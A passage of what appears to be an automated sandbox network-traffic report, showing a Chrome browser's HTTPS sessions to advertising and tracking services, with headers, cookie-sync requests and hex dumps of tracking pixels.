tbla_id=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14; axids=gam=y-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A&dv360=eS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B&ydsp=y-Q1anlJpE2uLNXvog9cXvHne26mx9Lj2d~A&tbla=y-hQJOddZE2uJ.k4E_AdFKaRd4VpIL_y_h~A
2024-05-23 22:35:17 UTC	1274	IN	HTTP/1.1 200 OK content-type: image/png set-cookie: uids=eyJ0ZW1wVUlEcyI6eyJndW1ndW0iOnsidWlkIjoiZV8xMmVhMWRkMi03N2YwLTQ5ZDgtOGFlZi05MDc2OGUxMmQ3YWMiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowMS4wNjMzNTMxNFoifSwicnViaWNvbiI6eyJ1aWQiOiJMV0pUWkFCTi1YLUs0UFciLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowNi44OTAzMjAxMjlaIn0sInNvbm9iaSI6eyJ1aWQiOiIzZTY5OTE1YS1hYTgxLTQ1M2MtOGJlNi02MjFhZjcxNTBmNDEiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNToxMy41NjY4NjU4ODlaIn0sInR0ZCI6eyJ1aWQiOiIzZTA3N2JiNC1iZjRhLTRjMTktOTMzZS1jOThkZGQ4ODE0MmUiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowNC42OTUzODA2OTRaIn0sInVucnVseSI6eyJ1aWQiOiJSWC03YzY0ZjdiNC03YTkwLTQ1ZWItOTFhZS1hZjc2ZTUyM2Q5NjMtMDAzIiwiZXhwaXJlcyI6IjIwMjQtMDYtMDZUMjI6MzU6MTQuODU4ODA2MzI2WiJ9LCJ6ZXRhX2dsb2JhbF9zc3AiOnsidWlkIjoidWEtZDNhNWE1NjctODlkZC0zM2VkLWJlMjAtNDBjYmIzMDg3MDgxIiwiZXhwaXJlcyI6IjIwMjQtMDYtMDZUMjI6MzU6MTcuNzE1OTEyMTYzWiJ9fX0=; Path=/; Domain=pbs.yahoo.com; Expires=Thu, 21 Nov 2024 22:35:17 GMT; HttpOnly; Secure; SameSite=None vary: Origin content-length: 86 date: Thu, 23 May 2024 22:35:17 GMT x-envoy-upstream-service-time: 0 server: ATS x-envoy-decorator-operation: pbs--production-euwe1.mediaplatform-gcp-prod-monetization.svc.cluster.local:4080/* Referrer-Policy: no-referrer-when-downgrade Age: 0 Connection: close
2024-05-23 22:35:17 UTC	223	IN	Data Raw: 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: Strict-Transport-Security: max-age=31536000Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniff
2024-05-23 22:35:17 UTC	86	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 0d 49 44 41 54 08 99 63 60 60 60 60 00 00 00 05 00 01 87 a1 4e d4 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsBIT\|dIDATc````NIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
719	192.168.2.6	50574	34.111.113.62	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:17 UTC	757	OUT	GET /idsync/ex/receive?partner_id=1955&partner_device_id=293039b6-fcc8-43c6-abcf-3f7949ed965a HTTP/1.1 Host: pixel.tapad.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TapAd_TS=1716503715831; TapAd_DID=8195b79d-c729-496f-899d-016ad4c2935d; TapAd_3WAY_SYNCS=
2024-05-23 22:35:17 UTC	1095	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:35:17 GMT Strict-Transport-Security: max-age=31536000 Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Mobile Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 P3P: policyref="http://tapad-taptags.s3.amazonaws.com/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" Set-Cookie: TapAd_TS=1716503715831;Expires=Mon, 22 Jul 2024 22:35:17 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_DID=8195b79d-c729-496f-899d-016ad4c2935d;Expires=Mon, 22 Jul 2024 22:35:17 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_3WAY_SYNCS=;Expires=Mon, 22 Jul 2024 22:35:17 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Content-Type: image/png Content-Length: 95 Server: Jetty(11.0.13) Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:17 UTC	95	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 0a 49 44 41 54 08 d7 63 60 00 00 00 02 00 01 e2 21 bc 33 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR%VPLTEz=tRNS@fIDATc`!3IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
720	192.168.2.6	50567	18.239.83.58	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:17 UTC	842	OUT	GET /p?c1=2&c2=1000009&c7=https%3A%2F%2Fhelp.aol.com%2F&c8=AOL%20Help&c9=&c14=-1&gdpr=0&gdpr_consent=&cs_ucfr=1&ns_c=UTF-8&ns__t=1716503716444 HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://help.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: UID=100458df32184cbdda853d11716503699; PID=172458df32337cbdda8521e1716503699; XID=100458df32184cbdda853d11716503699
2024-05-23 22:35:17 UTC	781	IN	HTTP/1.1 200 OK Content-Type: image/gif Content-Length: 43 Connection: close Date: Thu, 23 May 2024 22:35:17 GMT set-cookie: UID=100458df32184cbdda853d11716503699; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=62208000 set-cookie: PID=172458df32337cbdda8521e1716503699; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=7776000 set-cookie: XID=100458df32184cbdda853d11716503699; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=62208000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 134cb849e01fafad6f264ff9633b073e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P5 X-Amz-Cf-Id: GsLcZn751aQLlrIgjgh6-zVm97QSR-AhAsW-I3b6LDVXIonO0UPNag==
2024-05-23 22:35:17 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
721	192.168.2.6	50590	151.101.1.44	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:17 UTC	838	OUT	GET /sg/yahoo_axid--yahoo_paxid/1/um/?axid=y-hQJOddZE2uJ.k4E_AdFKaRd4VpIL_y_h~A&paxid=&gdpr=0&gpp_sid=-1&gpp=DBAA&ui=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14&us_privacy=1YNN HTTP/1.1 Host: trc.taboola.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: t_gid=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14; t_pt_gid=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14
2024-05-23 22:35:17 UTC	972	IN	HTTP/1.1 200 OK Connection: close Server: nginx Set-Cookie: t_gid=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14;Version=1;Path=/;Domain=.taboola.com;Expires=Fri, 23-May-2025 22:35:17 GMT;Max-Age=31536000;Secure;SameSite=None Set-Cookie: t_pt_gid=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14;Version=1;Path=/;Domain=.taboola.com;Expires=Fri, 23-May-2025 22:35:17 GMT;Max-Age=31536000;Secure;SameSite=None;Partitioned Cache-Control: no-cache, no-store Pragma: no-cache P3P: policyref="http://trc.taboola.com/p3p.xml", CP="NOI DSP COR LAW NID CURa ADMa DEVa PSAa PSDa OUR BUS IND UNI COM NAV INT DEM" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true X-Fastly-to-NLB-rtt: 16630 Accept-Ranges: bytes Date: Thu, 23 May 2024 22:35:17 GMT Via: 1.1 varnish X-SERVICE-VERSION: v1 X-Served-By: cache-nyc-kteb1890078-NYC X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1716503718.798674,VS0,VE18 X-vcl-time-ms: 18 transfer-encoding: chunked
2024-05-23 22:35:17 UTC	4	IN	Data Raw: 32 62 0d 0a Data Ascii: 2b
2024-05-23 22:35:17 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 40 02 02 4c 01 00 3b Data Ascii: GIF89a!,@L;
2024-05-23 22:35:17 UTC	7	IN	Data Raw: 0d 0a 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
722	192.168.2.6	50593	104.18.24.173	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:17 UTC	857	OUT	GET /i.match?p=b11&redirect=https%3A//simage2.pubmatic.com/AdServer/Pug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTMzMjYmdGw9MTI5NjAw%26piggybackCookie%3D%24TF_USER_ID_ENC%24&u=${PUBMATIC_UID} HTTP/1.1 Host: a.tribalfusion.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:17 UTC	943	IN	HTTP/1.1 302 Moved Temporarily Date: Thu, 23 May 2024 22:35:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close P3P: CP="NOI DEVo TAIa OUR BUS" X-Function: 206 X-Reuse-Index: 71 Cache-Control: no-cache Cache-Control: private Expires: Thu, 01 Jan 1970 00:00:00 GMT Pragma: no-cache Set-Cookie: ANON_ID=aWnoeUujieTo7YxS4pK74jiaE41U6ZbjpQ5GPiBIf; path=/; domain=.tribalfusion.com; expires=Wed, 21-Aug-2024 22:35:17 GMT; SameSite=None; Secure; Set-Cookie: ANON_ID_old=aWnoeUujieTo7YxS4pK74jiaE41U6ZbjpQ5GPiBIf; path=/; domain=.tribalfusion.com; expires=Wed, 21-Aug-2024 22:35:17 GMT; Location: https://s.tribalfusion.com/z/i.match?p=b11&redirect=https%3A//simage2.pubmatic.com/AdServer/Pug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTMzMjYmdGw9MTI5NjAw%26piggybackCookie%3D%24TF_USER_ID_ENC%24&u=${PUBMATIC_UID} CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 888884acced4429e-EWR alt-svc: h3=":443"; ma=86400
2024-05-23 22:35:17 UTC	42	IN	Data Raw: 32 34 0d 0a 3c 68 31 3e 45 72 72 6f 72 20 33 30 32 20 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 3c 2f 68 31 3e 0d 0a Data Ascii: 24<h1>Error 302 Moved Temporarily</h1>
2024-05-23 22:35:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
723	192.168.2.6	50576	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:17 UTC	1229	OUT	POST /p?s=1197803361&t=1716503706008&_I=&_AO=0&_NOL=0&etrg=backgroundPost&outcm=gamMetric&src=unknown&site=aol&partner=unknown&lang=en-US&region=US&device=desktop&colo=eu-west-1&ads_failure_total=1&ads_fetch_total=1&ads_refresh_total=0&ads_slot_right_failure=0&ads_slot_right_total=0&ads_slot_top_failure=1&ads_slot_top_total=1 HTTP/1.1 Host: noa.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; tbla_id=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14; axids=gam=y-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A&dv360=eS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B&ydsp=y-Q1anlJpE2uLNXvog9cXvHne26mx9Lj2d~A&tbla=y-hQJOddZE2uJ.k4E_AdFKaRd4VpIL_y_h~A
2024-05-23 22:35:18 UTC	1119	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:18 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 0 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A1=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:18 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=Lax; Secure; HttpOnly Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:18 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly Set-Cookie: A1S=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Domain=.yahoo.com; Path=/; SameSite=Lax; Secure
2024-05-23 22:35:18 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
724	192.168.2.6	50577	95.101.148.20	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:17 UTC	1224	OUT	GET /cksync.php?cs=1&type=bs&ovsid=ad3998d2-fd62-4225-919d-66f459efadb2&gdpr=0&gdpr_consent=&gdpr_pd=1 HTTP/1.1 Host: contextual.media.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: usp_status=1; visitor-id=3595052986404735000V10; data-rk=5144588530448503731~~8; data-o=e76223d5-0ccf-44a1-8261-d9c1c88ec58a~~8; data-so=3e69915a-aa81-453c-8be6-621af7150f41~~8; data-co=AQAGvoDLNisIcgIhnUBBAQEBAQEBAQCOppb7kAEBAI6mlvuQ~~8; data-g=CAESEEPGHKjwV8vQHjvJtIgKGQI~~8; data-ze=Ldu6nP-f8GRn9WiN8PL4~~1; data-r=LWJTZABN-X-K4PW~~1; data-ttd=8369ae03-bf51-422b-a15c-33306b0e1dfe~~1; data-mf=064dd624-3223-4a30-af5d-c38630257b17~~1; data-c=1f5a2429-5a10-4b50-95d0-3435c16ad1ac~~1; data-c-ts=1716503716; data-xu=K0DIBbMP1Sah1H5~~8
2024-05-23 22:35:18 UTC	645	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-bs=ad3998d2-fd62-4225-919d-66f459efadb2~~1;Expires=Thu, 22 May 2025 22:35:18 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Thu, 23 May 2024 22:35:18 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Thu, 23 May 2024 22:35:18 GMT Connection: close
2024-05-23 22:35:18 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-05-23 22:35:18 UTC	14	IN	Data Raw: 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
725	192.168.2.6	50594	104.18.25.173	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:17 UTC	918	OUT	GET /z/i.match?p=b11&redirect=https%3A//simage2.pubmatic.com/AdServer/Pug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTMzMjYmdGw9MTI5NjAw%26piggybackCookie%3D%24TF_USER_ID_ENC%24&u=${PUBMATIC_UID} HTTP/1.1 Host: s.tribalfusion.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ANON_ID=aHnoeUolXVyQuWxdKZcLpRUIVmxUGIGgafrGPiKxI
2024-05-23 22:35:17 UTC	803	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:35:17 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 43 Connection: close P3P: CP="NOI DEVo TAIa OUR BUS" X-Function: 302 Cache-Control: no-cache Cache-Control: private Expires: Thu, 01 Jan 1970 00:00:00 GMT Pragma: no-cache Set-Cookie: ANON_ID=aCntuJO5nP87PRo7TGr72VnvjGZdc6L7uhgEZdUZdqVyKwUyiRGFZbVUXasqfNKXXInemN6IVZcA4LDUGFpVdmjxggiPC; path=/; domain=.tribalfusion.com; expires=Wed, 21-Aug-2024 22:35:17 GMT; SameSite=None; Secure; Set-Cookie: ANON_ID_old=aCntuJO5nP87PRo7TGr72VnvjGZdc6L7uhgEZdUZdqVyKwUyiRGFZbVUXasqfNKXXInemN6IVZcA4LDUGFpVdmjxggiPC; path=/; domain=.tribalfusion.com; expires=Wed, 21-Aug-2024 22:35:17 GMT; CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 888884acb96642a0-EWR alt-svc: h3=":443"; ma=86400
2024-05-23 22:35:17 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 ff 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 40 02 02 44 01 00 3b Data Ascii: GIF89a!,@D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
726	192.168.2.6	50573	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:17 UTC	1606	OUT	POST /p?s=1197803361&t=N6G61o9BMauBw2vr,0.5881601135307863&_I=&_AO=0&_NOL=1&_R=&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04test%03aol-acookie-control%2Caol-aa-1%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03Fl1XNsPA7N12cgoJ%04_w%03www.aol.com%2F%04navtype%03server%04st_sec%03us.aolportal%04ver%03td-app-aol%04pl2%03amp-bon%04pt%03home%04p_sec%03AOL%04p_subsec%03homepage%04layout%03aolgrid%04pct%03aol%04site%03aol%04mrkt%03us%04lang%03en-US%04colo%03eu-west-1%04_yrid%0330rmpplj4vh3m%04_rid%0330rmpplj4vh3m%04abk%03%04etrg%03hide%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstop%04A_jse%03document.visibilitychange%04A_prets%031716503705%04A_prems%03865%04_E%03dwell%04_ts%031716503705%04_ms%03871%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031280x907%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:18 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:17 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:17 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:18 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
727	192.168.2.6	50580	34.255.48.153	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
